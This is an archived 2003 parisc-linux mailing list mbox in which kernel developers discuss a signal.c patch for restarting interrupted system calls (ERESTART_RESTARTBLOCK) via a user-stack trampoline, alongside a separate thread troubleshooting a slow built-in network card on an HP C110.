> the syscall number directly into the hex? Are you expecting it to
> change? :)

no, i can (will) just encode it into the hex.... 

> Adding stack here can be detremental to the userspace program. It's not
> expecting you to have a stack, and it expects the syscall to live within 
> its calling frame. When we setup the signal return trampoline we don't
> mess with the stack either :) Though this context is different.

userspace should not see this stack...

let's say your syscall sequence looks like this:

[...]
ble 0x100(%sr2, %r0)    /* call nanosleep */
ldi 0xa2,%r20
ldi -1000,r1
[...]

normally when you return from the kernel, you return at the second ldi
insn. In this case, you jump to a trampoline that happens to sit on your
stack, so the insn sequence becomes essentially

[...]
ble 0x100(%sr2, %r0)    /* call nanosleep */
ldi 0xa2,%r20
    ldo 64(%sp),%sp
    ble 0x100(%sr2, %r0)
    ldi 0,%r20
    b,l .+8, %r21
    [...]
    bv %r0(%r20)
    ldo -64(%sp),%sp
ldi -1000,r1
[...]

(indented part added by the kernel)

so it should be invisible to the syscall wrapper/application.

or am i missing something? :-)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 14:53:41 -0500 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca>
References: <20031026191804.GM24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622910 529 80.91.229.3 (22 Nov 2014 02:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:50 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 12:53:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48F034840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 12:53:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9QJrgDF028824;
	Sun, 26 Oct 2003 14:53:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9QJrgex028823;
	Sun, 26 Oct 2003 14:53:42 -0500 (EST)
In-Reply-To: <20031026191804.GM24406@tausq.org> from "Randolph Chung" at Oct 26, 2003 11:18:04 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19937

> [...]
> ble 0x100(%sr2, %r0)    /* call nanosleep */
> ldi 0xa2,%r20
>     ldo 64(%sp),%sp
>     ble 0x100(%sr2, %r0)
>     ldi 0,%r20
>     b,l .+8, %r21
>     [...]
>     bv %r0(%r20)
>     ldo -64(%sp),%sp
> ldi -1000,r1
> [...]
> 
> (indented part added by the kernel)
> 
> so it should be invisible to the syscall wrapper/application.
> 
> or am i missing something? :-)

You probably have to be careful here with respect to signals, etc.
Technically, the frame marker is supposed to move when a dynamic
stack allocation is done.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 26 Oct 2003 20:40:52 +0000
Lines: 126
Approved: news@gmane.org
Message-ID: <3F9C3154.4060105@tiscali.be>
References: <3F9BFB00.5090008@tiscali.be> <20031026172531.GA32146@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622911 530 80.91.229.3 (22 Nov 2014 02:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 13:40:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABBAE48E8
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 13:40:53 -0700 (MST)
Original-Received: from [62.235.120.116] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADrgy-0004Gb-7r; Sun, 26 Oct 2003 21:40:52 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031026172531.GA32146@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19938

Hi Grant,

Grant Grundler wrote:
> On Sun, Oct 26, 2003 at 04:49:04PM +0000, Joel Soete wrote:
> 
>>8. Raven T' Core LAN (802.3) (10) at 0xffd07000 [8/16/6], versions 0x32, 
>>0x0, 0x8a
> 
> 
> This is a 10Mb link.
> 
Yes ;)
> 
>>And, at the office, I use to obtain around nice 1Mb/s when I do such 
>>rsync or ftp between my b180 connected via a hub.
> 
> 
> Which protocol?
> 

ftp (ncftp), rsync, scp

> 
>>But here at home, I connect the builtin nic of my c110 with a 
>>cross-cable to my pc (proxy) and I just obtain 50kb/s (whatever the 
>>kernel I boot 2.4 or 2.6) (ie 20 time less then with a another pc 
>>connected in place of the c110). Is it possible to improve the 
>>performance of this builtin nic?
> 
> 
> Earlier this year I exchanged email with someone on linux-ia64 list with
> a similar sounding problem. They were trying to NFS mount some exported
> by the ia64-linux server but perf was ~80KB/s vs 50MB/s (1000BT) across
> the same link to another ia64-linux box. We never found the root cause
> since netperf demonstrated the UDP throughput was > 50MB/s (expected)
> in the same config. I could only guess it was something in the NFS
> stack having to do with 16K pages.
> 

Well all kernel tested since now (2.4 or 2.6) were well configured to 
support NFS (even if exports file is empty). I can try to remove this 
support?

> But thinking about this more, I'm wondering if some kernel code is
> accessing misaligned data someplace in the networking stack.
> The arguments I've heard is this is expected behavior.
> 
> Joel,
> 1) Can you verify dmesg has no misaligned data access reports?

Unfortunately no such a messages :(

> 2) Can you clarify how you are measuring performance?
>    (ie which protocols and which tools?)

what ever the protocol I use (ftp, rsync, scp) they report their own 
stat which are very low and correspond to the results of gkrellm (iptraf 
seems to lock the trafic).

hm another strange thing: I just compressed the my last kernel 2.4 
sources (about 30Mb) and on my pc I get it with scp from the c110: scp 
and gkrellm showing a rate of about 150Kb/s. Then remove the file on the 
c110 and on this i grab the same file with scp (also) and this time scp 
amd gkrellm showing  togehter a rate a about 50Kb/s. That is get now put 
show same results (i mean on pc put to c110: rate about 50Kb/s; on c110 
put to pc: rate about 150Kb/s).

That say. I also try to re-do the same test with ncftp which seems to 
show the same results excepted that 'put' from c110 to pc 'stail' after 
only one hundred Kb (and I installed the same ftp server on each ie:
ii  ftpd           0.17-16        FTP server
ii  tftpd          0.17-10        Internet trivial file transfer 
protocol serv).



> 3) Can you setup/run netperf or httperf with the PC to verify whatever
>    protocol you are using basically works?

I try to install the non-free (?) dpkg on my pc but:
sid:/home/jso/work # netperf -t UDP_STREAM
UDP UNIDIRECTIONAL SEND TEST to localhost
udp_send: data send error: Message too long
sid:/home/jso/work # netperf -t UDP_STREAM -f m
UDP UNIDIRECTIONAL SEND TEST to localhost
udp_send: data send error: Message too long
sid:/home/jso/work # netperf -t TCP_RR
TCP REQUEST/RESPONSE TEST to localhost
Local /Remote
Socket Size   Request  Resp.   Elapsed  Trans.
Send   Recv   Size     Size    Time     Rate
bytes  Bytes  bytes    bytes   secs.    per sec

16384  87380  1        1       9.99     15980.06
16384  87380
sid:/home/jso/work # netperf -t UDP_RR
UDP REQUEST/RESPONSE TEST to localhost
Local /Remote
Socket Size   Request  Resp.   Elapsed  Trans.
Send   Recv   Size     Size    Time     Rate
bytes  Bytes  bytes    bytes   secs.    per sec

65535  65535  1        1       10.00    27145.26
65535  65535

hmm may be should I try to rebuild the very last src (from hp).
More over the pkg is not available for parisc but I trust it would just 
be rebuild for this platform?

(i just haven't enough time to do it right now, sorry)

The few I can let iptraf running it didn't show's me any udp trafic :(
  Statistics for eth1
Total:     5350    4077724        2411     459794        2939    3617930
IP:        5350    4002824        2411     426040        2939    3576784
TCP:       5350    4002824        2411     426040        2939    3576784
UDP:          0          0           0          0           0          0
ICMP:         0          0           0          0           0          0
Other IP:     0          0           0          0           0          0
Non-IP:       0          0           0          0           0          0


Thanks for help,
	Joel



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 12:59:31 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20031026205931.GN24406@tausq.org>
References: <20031026191804.GM24406@tausq.org> <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622911 531 80.91.229.3 (22 Nov 2014 02:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:51 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 13:54:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D982B4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 13:54:37 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 67EC5CD2F8; Sun, 26 Oct 2003 12:59:31 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19939

> You probably have to be careful here with respect to signals, etc.
> Technically, the frame marker is supposed to move when a dynamic
> stack allocation is done.

ok, how about if i do it like this?


-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 13:02:01 -0800
Lines: 95
Approved: news@gmane.org
Message-ID: <20031026210201.GO24406@tausq.org>
References: <20031026191804.GM24406@tausq.org> <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca> <20031026205931.GN24406@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622911 535 80.91.229.3 (22 Nov 2014 02:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:51 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 13:57:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2486F4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 13:57:07 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id CE78DCD2F8; Sun, 26 Oct 2003 13:02:01 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031026205931.GN24406@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19940

In reference to a message from Randolph Chung, dated Oct 26:
> > You probably have to be careful here with respect to signals, etc.
> > Technically, the frame marker is supposed to move when a dynamic
> > stack allocation is done.
> 
> ok, how about if i do it like this?

hrm, oops, that's the magical disappearance act... :)

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.11
diff -u -p -r1.11 signal.c
--- arch/parisc/kernel/signal.c	24 Sep 2003 17:54:31 -0000	1.11
+++ arch/parisc/kernel/signal.c	26 Oct 2003 20:53:14 -0000
@@ -530,10 +531,68 @@ do_signal(sigset_t *oldset, struct pt_re
 	/* Did we come from a system call? */
 	if (in_syscall) {
 		/* Restart the system call - no handlers present */
-		if (regs->gr[28] == -ERESTART_RESTARTBLOCK ||
-		    regs->gr[28] == -ERESTARTNOHAND ||
-		    regs->gr[28] == -ERESTARTSYS ||
-		    regs->gr[28] == -ERESTARTNOINTR) {
+		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
+			unsigned int *usp = (unsigned int *)regs->gr[30];
+
+			/* Setup a trampoline to restart the syscall
+			 * with __NR_restart_syscall
+			 */
+#ifndef __LP64__
+			/* 32-bit version:
+			 *  0: <frame marker>
+			 *  4: <return address>
+			 *  8: ble 0x100(%%sr2, %%r0)
+			 * 12: ldi __NR_restart_syscall, %r20
+			 * 16: ldw -60(%sp), %r20
+			 * 20: bv %r0(%r20)
+			 * 24: ldwm -64(%sp), %r3
+			 */
+			put_user(regs->gr[3], &usp[0]); 
+			put_user(regs->gr[31], &usp[1]); 
+			put_user(0xe4008200, &usp[2]);
+			put_user(0x34140000, &usp[3]);
+			put_user(0x4bd43f89, &usp[4]);
+			put_user(0xea80c000, &usp[5]);
+			put_user(0x4fc33f81, &usp[6]);
+
+			regs->gr[31] = regs->gr[30] + 8;
+#else
+			/* 64-bit version:
+			 *  0: <frame marker>
+			 *  8: <return address>
+			 * 16: ble 0x100(%%sr2, %%r0)
+			 * 20: ldi __NR_restart_syscall, %r20
+			 * 24: ldd -56(%sp), %r20
+			 * 28: bv %r0(%r20)
+			 * 32: ldd,mb -64(%sp), %r3
+			 */
+			put_user(regs->gr[3] >> 32, &usp[0]); 
+			put_user(regs->gr[3] & 0xffffffff, &usp[1]); 
+			put_user(regs->gr[31] >> 32, &usp[2]); 
+			put_user(regs->gr[31] & 0xffffffff, &usp[3]); 
+			put_user(0xe4008200, &usp[4]);
+			put_user(0x34140000, &usp[5]);
+			put_user(0x53d43f91, &usp[6]);
+			put_user(0xea80c000, &usp[7]);
+			put_user(0x53c33f8d, &usp[8]);
+
+			regs->gr[31] = regs->gr[30] + 16;
+#endif
+			
+			/* Stack is 64-byte aligned, and we only 
+			 * need to flush 1 cache line */
+			asm("fdc 0(%%sr3, %0)\n"
+			    "fic 0(%%sr3, %0)\n"
+			    "sync\n"
+			    : : "r"(regs->gr[30]));
+
+			regs->gr[3] = regs->gr[30];
+			regs->gr[30] += 64;
+			/* Preserve original r28. */
+			regs->gr[28] = regs->orig_r28;
+		} else if (regs->gr[28] == -ERESTARTNOHAND ||
+		           regs->gr[28] == -ERESTARTSYS ||
+		           regs->gr[28] == -ERESTARTNOINTR) {
 			/* Hooray for delayed branching.  We don't
                            have to restore %r20 (the system call
                            number) because it gets loaded in the delay

-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 26 Oct 2003 21:10:44 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <3F9C3854.80001@tiscali.be>
References: <3F9BFB00.5090008@tiscali.be> <20031026172531.GA32146@colo.lackof.org> <3F9C3154.4060105@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622911 538 80.91.229.3 (22 Nov 2014 02:21:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:51 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 14:10:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D0C94840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 14:10:44 -0700 (MST)
Original-Received: from [62.235.120.116] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADs9r-0005Tg-CW; Sun, 26 Oct 2003 22:10:43 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3F9C3154.4060105@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19941

Hi Grant,

Sorry to answer to my mail but

> That say. I also try to re-do the same test with ncftp which seems to 
> show the same results excepted that 'put' from c110 to pc 'stail' after 
> only one hundred Kb (and I installed the same ftp server on each ie:
> ii  ftpd           0.17-16        FTP server
> ii  tftpd          0.17-10        Internet trivial file transfer 
> protocol serv).
> 

How may I find and reset the speed setup of a nic (I mean which 10 or 
100 Mb, half or full duplex)?

In a second though I just remember that the pc boot first (i need 
minicom console to boot c110) then latter the c110. So it could be that 
the first one is set in 100 half as default (no connection at boot time) 
and the second 10 half?

Thanks,
	Joel



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 23:37:05 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <20031027043705.GJ26587@systemhalted>
References: <20031026191804.GM24406@tausq.org> <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca> <20031026205931.GN24406@tausq.org> <20031026210201.GO24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622912 800 80.91.229.3 (22 Nov 2014 02:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 21:41:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D11C48B5
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 21:41:27 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ADz7p-00012L-00; Sun, 26 Oct 2003 23:37:05 -0500
Content-Disposition: inline
In-Reply-To: <20031026210201.GO24406@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (33% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19942

On Sun, Oct 26, 2003 at 01:02:01PM -0800, Randolph Chung wrote:
> hrm, oops, that's the magical disappearance act... :)
> 
> Index: arch/parisc/kernel/signal.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
> retrieving revision 1.11
> diff -u -p -r1.11 signal.c
> --- arch/parisc/kernel/signal.c	24 Sep 2003 17:54:31 -0000	1.11
> +++ arch/parisc/kernel/signal.c	26 Oct 2003 20:53:14 -0000
> @@ -530,10 +531,68 @@ do_signal(sigset_t *oldset, struct pt_re
>  	/* Did we come from a system call? */
>  	if (in_syscall) {
>  		/* Restart the system call - no handlers present */
> -		if (regs->gr[28] == -ERESTART_RESTARTBLOCK ||
> -		    regs->gr[28] == -ERESTARTNOHAND ||
> -		    regs->gr[28] == -ERESTARTSYS ||
> -		    regs->gr[28] == -ERESTARTNOINTR) {
> +		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
> +			unsigned int *usp = (unsigned int *)regs->gr[30];
> +
> +			/* Setup a trampoline to restart the syscall
> +			 * with __NR_restart_syscall
> +			 */
> +#ifndef __LP64__
> +			/* 32-bit version:
> +			 *  0: <frame marker>
> +			 *  4: <return address>
> +			 *  8: ble 0x100(%%sr2, %%r0)
> +			 * 12: ldi __NR_restart_syscall, %r20
> +			 * 16: ldw -60(%sp), %r20
> +			 * 20: bv %r0(%r20)
> +			 * 24: ldwm -64(%sp), %r3
> +			 */

What do you think of:

a. Copy the original rp into a temp register.
b. Setup our rp so we return to the stack trampoline.
c. Return to userspace.
d. Trampoline restores original rp.
e. Make call to restart syscall.
f. Kernel does the magic.
g. Return to the original rp.

You don't care if you get a signal because you are never going to return
to the trampoline, so you don't adjust 'sp' to protect the trampoline.

My fears:

a. Timer tick while on the trampoline before the syscall is made.
	= Signal is delivered... what happens?

As a mater of fact, I'm wholely afraid of stack trampolines for the
explicit reason that your timeslice might expire and odd things might
transpire.

c.



From - Thu Nov 08 21:29:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 21:06:49 -0800
Lines: 63
Approved: news@gmane.org
Message-ID: <20031027050649.GS24406@tausq.org>
References: <20031026191804.GM24406@tausq.org> <200310261953.h9QJrgex028823@hiauly1.hia.nrc.ca> <20031026205931.GN24406@tausq.org> <20031026210201.GO24406@tausq.org> <20031027043705.GJ26587@systemhalted>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622912 804 80.91.229.3 (22 Nov 2014 02:21:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
